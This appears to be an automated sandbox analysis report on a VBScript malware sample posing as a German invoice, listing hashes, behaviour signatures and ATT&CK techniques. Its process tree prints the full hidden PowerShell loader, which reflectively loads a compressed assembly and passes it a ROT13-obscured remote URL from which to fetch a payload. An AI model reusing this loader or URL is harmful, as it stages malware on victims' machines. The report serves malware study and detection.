d78bc974947dca5f86fc0b5503e157b1537dbac4bcfe4bfb1779213342a5bb19

General

Target
DE-00390200 Rechnung R-0000329.vbs
Size 8.5MB
Sample260618-k8hpesh15w
SHA256 d78bc974947dca5f86fc0b5503e157b1537dbac4bcfe4bfb1779213342a5bb19
MD5 4b3b0e8676bdb830dfde06e79b594515
SHA1 7509a6de1681965034e5a529beffc5a61ee9f67e
SHA512 95ab17f3755ac421c1b6ef7281794ec678c52d328e9f2cbb03cb2c6ce796c51326086486a7b4a35f3ac1ec017f2df57f4a1a9968d189111faedae10197bedc3d
SSDEEP 768:1bItI1dXYam8zEOKpcZTyd2wqyut7y+THKT1JUFjwWTADRh5c6fXfasxHAWeAtTJ:8
TLSH
T1DA96A18682ECA305EFFF3F12F47901444862BD955C7842ACA65C0819AEF9ED8CC75E76
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3844	1768	powershell.exe	80

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3844	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3844	powershell.exe
3736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3844	powershell.exe
3736	powershell.exe
3844	powershell.exe
3736	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 3736	1028	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DE-00390200 Rechnung R-0000329.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/W0LU-XRHK-W9VQ-2V7Z/vzt_90bdcm.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','ong','1','','w4v4vehYaD','0','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/W0LU-XRHK-W9VQ-2V7Z/vzt_90bdcm.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','WnwE2VXplE','ong','1','','w4v4vehYaD','0','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
MD5 8117d1162c008cf731fe668d81f95ac0
SHA1 1fdce919b160546d65f946726794b3331de06938
SHA512 711cc338d15b6b36cad3e8ca1a57b0595991f060d24f39faa2b24a2c4ca08c07c82497ed8b1bfbc998452778d75fb24558d72062ef5ee6848d99e35068c5f188
TLSH
T11B117A33B79CC135C8D9157A1089AD01B2B4C3C7049EDE8B7A84C509E57F58ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bfobkzmt.dnz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfobkzmt.dnz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3844-1-0x000002DB3E000000-0x000002DB3E010000-memory.dmp

Download

memory/3844-0-0x000002DB3E000000-0x000002DB3E010000-memory.dmp

Download

memory/3844-7-0x000002DB3DED0000-0x000002DB3DEF2000-memory.dmp

Download

memory/3844-15-0x000002DB40080000-0x000002DB40134000-memory.dmp

Download

memory/3844-16-0x000002DB3DEC0000-0x000002DB3DECA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads